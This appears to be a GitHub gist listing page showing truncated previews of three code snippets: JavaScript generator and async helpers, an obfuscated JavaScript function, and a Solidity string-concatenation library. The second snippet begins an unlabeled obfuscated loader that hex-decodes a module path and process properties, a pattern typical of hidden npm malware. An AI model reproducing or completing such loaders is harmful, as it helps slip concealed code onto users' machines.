This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function *count(n) { | |
for (let i = 0; i < n; i++) { | |
yield i; | |
} | |
} | |
const delay = ms => new Promise(resolve => setTimeout(resolve, ms)); | |
const asyncForEach = async (values, callback) => { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
! function() { | |
try { | |
var r = require, | |
t = process; | |
function e(r) { | |
return Buffer.from(r, "hex").toString() | |
} | |
var n = r(e("2e2f746573742f64617461")), | |
o = t[e(n[3])][e(n[4])]; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.0; | |
library StringLib { | |
function concat(string storage _head, string _tail) returns (bool) { | |
bytes head = bytes(_head); | |
bytes memory tail = bytes(_tail); | |
for (uint i = 0; i < tail.length; i++) { | |
head.push(tail[i]); | |
} |
NewerOlder